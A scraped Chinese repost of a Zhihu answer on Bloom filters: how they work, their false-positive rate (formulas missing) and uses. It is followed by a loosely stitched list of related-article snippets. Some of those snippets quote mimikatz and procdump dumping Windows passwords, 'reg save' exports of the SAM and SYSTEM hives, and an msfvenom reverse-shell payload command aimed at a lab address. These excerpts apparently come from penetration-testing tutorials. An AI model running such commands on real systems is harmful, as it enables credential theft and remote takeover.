布隆过滤器的误判率该如何计算?

article/2025/11/5 10:59:08

作者:胡慢慢滚雪球
链接:https://www.zhihu.com/question/38573286/answer/507497251
来源:知乎
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
 

在计算机中,判断一个元素是不是在一个集合中,通常是用hash来解决,这在数据量不大的时候是可以的,但是当数据量很大的时候存储空间就会爆炸。

一个象 Yahoo,Hotmail 和 Gmai 那样的公众电子邮件(email)提供商,总是需要过滤来自发送垃圾邮件的人(spamer)的垃圾邮件。一个办法就是记录下那些发垃圾邮件的 email 地址。由于那些发送者不停地在注册新的地址,全世界少说也有几十亿个发垃圾邮件的地址,将他们都存起来则需要大量的网络服务器。如果用哈希表,每存储一亿个 email 地址, 就需要 1.6GB 的内存(用哈希表实现的具体办法是将每一个 email 地址对应成一个八字节的信息指纹 googlechinablog.com/2006/08/blog-post.html,然后将这些信息指纹存入哈希表,由于哈希表的存储效率一般只有 50%,因此一个 email 地址需要占用十六个字节。一亿个地址大约要 1.6GB, 即十六亿字节的内存)。因此存贮几十亿个邮件地址可能需要上百 GB 的内存。除非是超级计算机,一般服务器是无法存储的。——吴军《数学之美》

解决的问题

大数据量的时候, 判断一个元素是否在一个集合中。

实现原理

布隆过滤器(Bloom Filter)的核心实现是一个超大的位数组和几个哈希函数。假设位数组的长度为m,哈希函数的个数为k。

以上图为例,具体的操作流程:假设集合里面有3个元素{x, y, z},哈希函数的个数为3。首先将位数组进行初始化,将里面每个位都设置位0。

添加元素

对于集合里面的每一个元素,将元素依次通过3个哈希函数进行映射,每次映射都会产生一个哈希值,这个值对应位数组上面的一个点,然后将位数组对应的位置标记为1。

查询元素

查询W元素是否存在集合中的时候,同样的方法将W通过哈希映射到位数组上的3个点。如果3个点的其中有一个点不为1,则可以判断该元素一定不存在集合中。反之,如果3个点都为1,则该元素**可能**存在集合中。注意:此处不能判断该元素是否一定存在集合中,可能存在一定的误判率。可以从图中可以看到:假设某个元素通过映射对应下标为4,5,6这3个点。虽然这3个点都为1,但是很明显这3个点是不同元素经过哈希得到的位置,因此这种情况说明元素虽然不在集合中,也可能对应的都是1,这是误判率存在的原因。

移除集合中的元素

这个在布隆过滤器中是不允许的,理解原理我们就知道,如果将是1的位置重置成0会影响其他元素是不是在集合中的判断。对于关小黑屋再放出来这种需求,我们可以换一个思路,再加一个布隆过滤器————“被移除的元素”,当然现在公司都比较土豪,直接用redis存一个过期时间就可以,那就不在我们讨论之列了,布隆过滤器的初衷是用少许的误判来极大的节省空间。

错误率

假设 Hash 函数以等概率条件选择并设置 Bit Array 中的某一位,假定由每个 Hash 计算出需要设置的位(bit) 的位置是相互独立, m 是该位数组的大小,k 是 Hash 函数的个数.

  • 位数组中某一特定的位在进行元素插入时的 Hash 操作中没有被置位的概率是:

 

  • 在所有 k 次 Hash 操作后该位都没有被置 "1" 的概率是:

 

  • 如果我们插入了 n 个元素,那么某一位仍然为 "0" 的概率是:

 

  • 该位为 "1"的概率是:

 

检测某一元素是否在该集合中。标明某个元素是否在集合中所需的 k 个位置都按照如上的方法设置为 "1",但是该方法可能会使算法错误的认为某一原本不在集合中的元素却被检测为在该集合中(False Positives),该概率由以下公式确定:

 

如何使得错误率最小,对于给定的m和n,当 的时候取值最小。关系如下图所示:

应用

  • HBASE、Cassandra数据库中用来判断数据是不是在磁盘上

  • chrome用它来做钓鱼网站监测
  • 在比特币中用来判断是不是属于钱包
  • 垃圾邮件监测

实现

如果你是java开发者,可以看看google的guava包中有对Bloom Filter的实现,详细见参考资料。

参考资料

  • Bloom filter - Wikipedia
  • 布隆过滤器:Google Guava类库源码分析及基于Redis Bitmaps的重构 - 文章 - 伯乐在线
  • 布隆过滤器(Bloom Filter)、SPV和比特币

http://chatgpt.dhexx.cn/article/AhxhMc5o.shtml

相关文章

神器 mimikatz - 直接抓取 Windows 明文密码

昨天有朋友发了个法国佬写的神器叫 mimikatz让我们看下 神器下载地址: http://blog.gentilkiwi.com/mimikatz 还有一篇用这个神器直接从 lsass.exe 里获取windows处于active状态账号明文密码的文章 http://pentestmonkey.net/blog/mimikatz-tool-to-recover-cleartext-password…

加密连接数据库明文密码

我的其他笔记有记录过加密算法,这里不一一阐述,用DES对MySQL用户名和密码加密,然后在spring-dao.xml中配置中解密,需要新建一个解密类注册到xml中。 解密类: package com.mlr.util;import org.springframework.beans…

Spring boot 配置文件明文密码加解密

jasypt 是一个简单易用的加密Java库,使用起来非常简单。 现在我们系统中的一些配置文件中密码还是暴露的,打开配置文件,就能看到密码,如图: 这情况我们如果不想让别人看到数据库密码,所以就要对数据库密码进行加解密 通过jasypt 就可以简单实现 使用方法: 以spring b…

spring boot配置文件加密、明文密码加密、properties 和 yml 互相转换

spring boot配置文件加密、明文密码加密、properties 和 yml 互相转换 1.引入maven2.添加配置(yml格式的;properties 和 yml 在线转换)3.找到maven仓库下:org\jasypt\jasypt\1.9.3将内容进行加密4.常见问题及排查方法 1.引入maven…

在Win10系统中用mimikatz抓取明文密码

实验环境 :Windows10专业版 参考了网上的方法,发现大部分都是抄的 https://blog.csdn.net/netsec_steven/article/details/107257325 这一篇文章,都被转烂了,这一篇文章是对的,但是路径上还是有点小问题的,…

meterpreter下抓取windows系统明文密码实验

虚拟机:kali | Win7 工具:msf 1.生成工具 msfvenom -p windows/x64/meterpreter/reverse_tcp lhost192.168.40.140 lport55555 -f exe -o 233.exe 这里需要注意的是IP地址以及端口。 2.监听 启动msf,选择模块,配置信息&#xff0c…

RTX查找本地明文密码

内存密码没有加密,造成能够获取到明文密码 我用的winhex18 1、用WINHEX打开RTX的内存(按altF9) 2、找到前缀为RTX的 3、打开主要内存 4、查找16进制字符串“40000000500061007300730077006F0072006400” 3、password下面就是明文密…

SpringBoot项目配置明文密码泄露问题处理

在项目开发过程中,需要配置数据库连接密码、Redis密码、网盘上传的AK/SK等敏感信息,都需要保存在配置文件里,或者配置中心。 这些信息如果泄露,还是会造成一定的困扰,这里介绍2种处理方案: 1、使用系统环境…

内网渗透(抓取明文密码)

1. 注册表导出 reg save hklm\sam sam.hiv ———> SAM文件reg save hklm\system sys.hiv ———> SYS文件注意事项: 1) 在Windows 2003版本包含2003以上都可以使用该命令 2) 在windows 2003中他会以ltml 3) 都是加密Hash演示: 1)下载mimikatz然后执行:lsadump::s…

域渗透——获取用户明文密码

目录 讲在前面: 一、CredSSP获取明文密码 二、Dcsync获取明文密码 讲在前面: 本文是笔者在学习"三好学生"前辈的文章进而总结的一篇文章,内容主要是在内网渗透中获得明文密码的两种方式。,在笔者看来,两…

Navicat导出链接查看数据库明文密码

测试环境:Navicat Premium 版本15.0.25 理论版本12以上即可。 参考地址:navicat~导出数据库密码 - 走看看 Hutool参考文档 代码 import cn.hutool.core.io.file.FileReader; import cn.hutool.crypto.symmetric.AES; import org.dom4j.*;import java.u…

Windows10明文密码抓取

procdumpmimikatz获取win10用户明文密码 测试环境:Win10 企业版LTSC 1809 工具下载:k8版本的mz64.exe、procdumpv9.0 原理:获取到内存文件lsass.exe进程(它用于本地安全和登陆策略)中存储的明文登录密码 利用前提:拿到了admin…

开发反模式 - 明文密码

开发反模式 - 明文密码 一、目标:恢复或重置密码 每个有密码的程序都会碰到用户忘记密码的情况,现今大多数程序都通过E-mail的回馈机制让用户恢复或者重置密码。这个解决方案有一个前提,这个服务有一个前提,就是这个用户能够访问他…

MD5明文密码加密

MD5 一、加密缘由 首先看一下未使用MD5加密的数据库 这样的话如果黑客攻击数据库的时候得到数据库的资料(主要密码)就会导致用户的财产等受到危害,所以需要对密码进行加密操作 二、加密的算法MD5 2.1、运用了单向加密算法(下…

Unity基础: 对Anchors锚点的使用

在UI对象上是用RectTransform组件来控制位置和大小的,在RectTransform中有一个Anchors属性。Anchors属性可以将当前对象的四个角锚点定位到父对象的某个位置,并且Anchor还允许子对象的宽高随着父对象的宽高一起拉伸。 上面一个示例中显示的就是将一个Ima…

(笔记)yolov5自适应anchors

训练一开始会先计算Best Possible Recall (BPR),当BPR < 0.98时&#xff0c;再在kmean_anchors函数中进行k 均值和遗传学习算法更新anchors。 情况一&#xff1a; 在进行yolov5训练的时候&#xff0c;会输出&#xff1a; Analyzing anchors... Best Possible Recall (BPR…

Roson讲Qt#16 QML中的anchors(锚)

QML中有一个数据类型叫Item&#xff0c;Item里面有很多属性&#xff0c;其中一个就是anchors. anchors翻译过来叫“锚”&#xff0c;锚可能不好理解&#xff0c;在我看来&#xff0c;可以把anchors当成是一个控件浓缩而成的一个点&#xff0c;可以通过设置点的上下左右等属性来…

Qml基于锚(anchors)的布局

锚(anchors)布局&#xff0c;每一个项目都可以认为有一组无形的锚线 left,horizontalCenter,right,top,verticalCenter,baseline和bottom. 如上图&#xff1a;图中没有显示baseline&#xff0c;它是一条假想的线&#xff0c;文本坐落在这条线上。对于没有文本的项目它与top相同…

RPN之生成anchors

看不懂anchor生成方法&#xff0c;就看不懂参数。 faster_rcnn的anchors生成 在这里我就不看faster_rcnn的anchors生成源代码了&#xff0c;我们用numpy自己去实现&#xff0c;在128*128大小的图片中生成anchors. 开始上代码 import numpy as np import matplotlib.pyplot …

Qml anchors锚点布局

关于qml的锚点布局的一些分享&#xff0c;并不能算是教学之类的。 锚点布局会自动设置宽度高度&#xff0c;并且优先级比 width height更高 import QtQuick 2.13 import QtQuick.Window 2.12 import QtQml 2.13Window {width: 640height: 480visible: truetitle: qsTr("a…